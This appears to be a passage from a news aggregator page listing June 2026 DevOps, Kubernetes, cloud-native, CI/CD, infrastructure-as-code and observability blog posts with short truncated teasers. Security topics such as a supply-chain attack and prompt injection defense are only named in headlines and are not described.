When running a guest Kubernetes cluster inside SUSE Virtualization/Harvester, you get the best of both worlds: bare-metal performance with VM-level flexibility. It’s a really common pattern: you insta

📅 Jun 3, 2026 • 📰 SUSE Blog

🔗 Read more

📄 OpenShift Virtualization 4.21: Removing complexity from your virtual machine networking workflow

Red Hat OpenShift Virtualization 4.21 introduces highly anticipated networking design flows to simplify network management. Tailored to VM network requirements, this complete workflow lets you more ef

📅 Jun 2, 2026 • 📰 OpenShift Blog

🔗 Read more

📄 From Kubernetes Dashboard to Headlamp: Understanding the Transition

For many people, Kubernetes Dashboard was their first window into Kubernetes. It offered a simple visual way to see what was running in a cluster, inspect resources, and build confidence without relyi

📅 Jun 1, 2026 • 📰 Kubernetes Blog

🔗 Read more

☁️ Cloud Native

📄 Breaking free of a single datacenter: Practical geo-distributed AI operations with the k0smos platforms

Breaking the single datacenter assumption Modern AI architectures are built on the assumption of centralized, homogeneous data centers. In reality, infrastructure is messy. For most organizations, com

📅 Jun 8, 2026 • 📰 CNCF Blog

🔗 Read more

📄 Amazon ECS with AWS Fargate now supports 32vCPU compute configurations

Amazon Elastic Container Service (Amazon ECS) with AWS Fargate now supports 32vCPU compute configurations, enabling customers to run more demanding applications with greater flexibility and performanc

📅 Jun 5, 2026 • 📰 CloudFormation Updates

🔗 Read more

📄 Identity and Access Management Whitepaper

As cloud native architectures become more distributed, dynamic, and automated, identity increasingly becomes the new security perimeter. Traditional approaches to authentication and authorization stru

📅 Jun 4, 2026 • 📰 CNCF Blog

🔗 Read more

📄 Hardened Images Explained: Fewer CVEs, Smaller Attack Surface

When security teams scan their container environments for the first time, they often discover hundreds of known vulnerabilities, and almost none of them trace back to application code. The overwhelmin

📅 Jun 4, 2026 • 📰 Docker Blog

🔗 Read more

📄 Yugandhar Suthari

CNCF Kyverno maintainer, KubeCon Europe 2026 Program Committee member, KyvernoCon 2025–2026 program comittee and speaker, Golden Kubestronaut

📅 Jun 3, 2026 • 📰 KubeCon Updates

🔗 Read more

📄 Fragnesia and friends: When page cache vulnerabilities keep coming back

A couple of weeks ago, I wrote about Copy-Fail (CVE-2026-31431) and how Red Hat OpenShift’s defense-in-depth approach prevented container escape despite a vulnerable kernel. I spent time actively tryi

📅 Jun 2, 2026 • 📰 OpenShift Blog

🔗 Read more

🔄 CI/CD

📄 Shai-Hulud Miasma: Inside the Compromise of Red Hat Packages

An in-depth look at the Miasma supply chain attack that compromised Red Hat npm packages. Learn how the malware spread, stole credentials, abused trusted publishing, and the steps teams can take to mi

📅 Jun 5, 2026 • 📰 Harness Blog

🔗 Read more

📄 GitHub Universe is back: All together now, in the agentic era

GitHub Universe is back: returning to the historic Fort Mason Center in San Francisco on October 28–29, 2026. The post GitHub Universe is back: All together now, in the agentic era appeared first on T

📅 Jun 4, 2026 • 📰 GitHub Blog

🔗 Read more

📄 Securing CI/CD for an open source project: Controlling who runs what

Part one The last twelve months have been rough on the open source supply chain. Axios was compromised on npm and shipped a remote access trojan inside otherwise normal-looking releases. LiteLLM’s PyP

📅 Jun 4, 2026 • 📰 CNCF Blog

🔗 Read more

📄 GitHub Copilot app: The agent-native desktop experience

At Microsoft Build 2026, GitHub introduced new tools, updates, and surfaces so agents can work the way you already work. The post GitHub Copilot app: The agent-native desktop experience appeared first

📅 Jun 2, 2026 • 📰 GitHub Blog

🔗 Read more

🏗️ IaC

📄 Amazon Bedrock AgentCore Runtime introduces interactive shells for terminal access into agent sessions

Amazon Bedrock AgentCore Runtime now supports interactive shells through a new InvokeAgentRuntimeCommandShell API, opening a persistent, PTY-backed terminal directly into a running agent session over

📅 Jun 5, 2026 • 📰 CloudFormation Updates

🔗 Read more

📄 Trigger Deployments on Git Tags

A git tag is how many teams mark a release as ready. Pulumi Deployments can now act on that signal directly: configure a tag-based trigger, push a version tag like v1.2.0, and Pulumi automatically run

📅 Jun 5, 2026 • 📰 Pulumi Blog

🔗 Read more

📄 Use Your Mac for AI Agents: Self-Host Gemma 4 12 B with Pulumi and Tailscale

If you run AI tools and agents, you’ve probably accepted three tradeoffs: your data leaves your network, you can’t work offline, and your bill scales with usage. Open-weight models now run well on con

📅 Jun 4, 2026 • 📰 Pulumi Blog

🔗 Read more

📄 Why Choose Pulumi Over Terraform?

Terraform is a proven infrastructure as code tool with a large provider and module ecosystem. Many teams choose Pulumi when they want to keep that infrastructure as code model, but write and maintain

📅 Jun 2, 2026 • 📰 Pulumi Blog

🔗 Read more

📊 Observability

📄 From Cool Demo to Production-Ready: How We Made an AI Travel Agent Trustworthy with New Relic

A walkthrough of taking an AI Travel Agent (WanderAI) from a demo to production, covering OpenTelemetry tracing, AI monitoring, SLOs, and prompt injection defense.

📅 Jun 8, 2026 • 📰 New Relic Blog

🔗 Read more

📄 Building the Future of Telemetry in the Open